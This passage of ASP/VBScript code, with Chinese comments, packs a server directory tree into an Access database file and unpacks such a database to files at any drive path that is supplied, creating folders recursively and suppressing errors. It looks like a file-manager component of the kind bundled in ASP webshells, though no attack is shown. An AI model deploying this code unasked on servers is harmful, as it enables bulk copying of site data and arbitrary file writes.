Else
EchoBack "请输入文件夹路径!"
Exit Sub
End If
Dim oCatalog,connStr,DataName
Set conn=Server.CreateObject("ADODB.Connection")
Set oStream=Server.CreateObject("ADODB.Stream")
Set oCatalog=Server.CreateObject("ADOX.Catalog")
Set rs=Server.CreateObject("ADODB.RecordSet")
On Error Resume Next
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
oCatalog.Create connStr
If Err Then
EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\")
Exit Sub
End If
Set oCatalog=Nothing
conn.Open connStr
conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)")
oStream.Open
oStream.Type=1
rs.Open "Files",conn,3,3
DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1)
NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName)
FailFileList="" '打包失败的文件列表
PackFolder FPath
If FailFilelist="" Then
EchoClose "文件夹打包成功!"
Else
Response.Write ""
Response.Write ""
Response.Write ""&Replace(FailFilelist,"|"," ")&""
End If
oStream.Close
rs.Close
conn.Close
End Sub
'添加文件夹(递归)
Sub PackFolder(FolderPath)
If Not IsFolder(FolderPath) Then Exit Sub
Dim oFolder,sFile,sFolder
Set oFolder=oFso.GetFolder(FolderPath)
For Each sFile In oFolder.Files
If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then
PackFile sFile.Path
End If
Next
Set sFile=Nothing
For Each sFolder In oFolder.SubFolders
PackFolder sFolder.Path
Next
Set sFolder=Nothing
End Sub
'添加文件
Sub PackFile(FilePath)
Dim RelPath
RelPath=Replace(FilePath,RootPath,"")
'Response.Write RelPath & " "
On Error Resume Next
Err.Clear
Err=False
oStream.LoadFromFile FilePath
rs.AddNew
rs("FilePath")=RelPath
rs("FileData")=oStream.Read()
rs.Update
If Err Then
'一个文件打包失败
FailFilelist=FailFilelist&FilePath&"|"
End If
End Sub
'===========================================================================
'文件解包
Sub UnPack(vFolderPath,DbPath)
Server.ScriptTimeOut=900
Dim FilePath,FolderPath,sFolderPath
FolderPath=vFolderPath
FolderPath=Trim(FolderPath)
If Mid(FolderPath,2,1)<>":" Then
EchoBack "路径格式错误,无法创建改目录!"
Exit Sub
End If
If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1)
Dim connStr
Set conn=Server.CreateObject("ADODB.Connection")
Set oStream=Server.CreateObject("ADODB.Stream")
Set rs=Server.CreateObject("ADODB.RecordSet")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
On Error Resume Next
Err=False
conn.Open connStr
If Err Then
EchoBack "数据库打开错误!"
Exit Sub
End If
Err=False
oStream.Open
oStream.Type=1
rs.Open "Files",conn,1,1
FailFilelist="" '清空失败文件列表
Do Until rs.EOF
Err.Clear
Err=False
FilePath=FolderPath&"\"&rs("FilePath")
FilePath=Replace(FilePath,"\\","\")
sFolderPath=Left(FilePath,InStrRev(FilePath,"\"))
If Not oFso.FolderExists(sFolderPath) Then
CreateFolder(sFolderPath)
End If
oStream.SetEos()
oStream.Write rs("FileData")
oStream.SaveToFile FilePath,2
If Err Then '添加失败文件项目
FailFilelist=FailFilelist&rs("FilePath").Value&"|"
End If
rs.MoveNext
Loop
rs.Close
Set rs=Nothing
conn.Close
Set conn=Nothing
Set oStream=Nothing
If FailFilelist="" Then
EchoClose "文件解包成功!"
Else
Response.Write ""
Response.Write ""
Response.Write ""&Replace(FailFilelist,"|"," ")&""
End If
End Sub
'===========================================================================
'===========================================================================
'建立文件夹(递归)
Function CreateFolder(FolderPath)
On Error Resume Next
Err=False
Dim sParFolder
sParFolder=GetParentFolder(FolderPath)
If Not oFso.FolderExists(sParFolder) Then
CreateFolder(sParFolder)
End If
oFso.CreateFolder(FolderPath)
If Err Then
CreateFolder=False
Else
CreateFolder=True
End If
End Function
Function GetParentFolder(Path)
Dim sPath
sPath=Path
If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1)
sPath=Left(sPath,InstrRev(sPath,"\")-1)
GetParentFolder=sPath
End Function
'============================================================================
Sub wv(v)
If v>0 Then Response.Write " checked "
End Sub
%>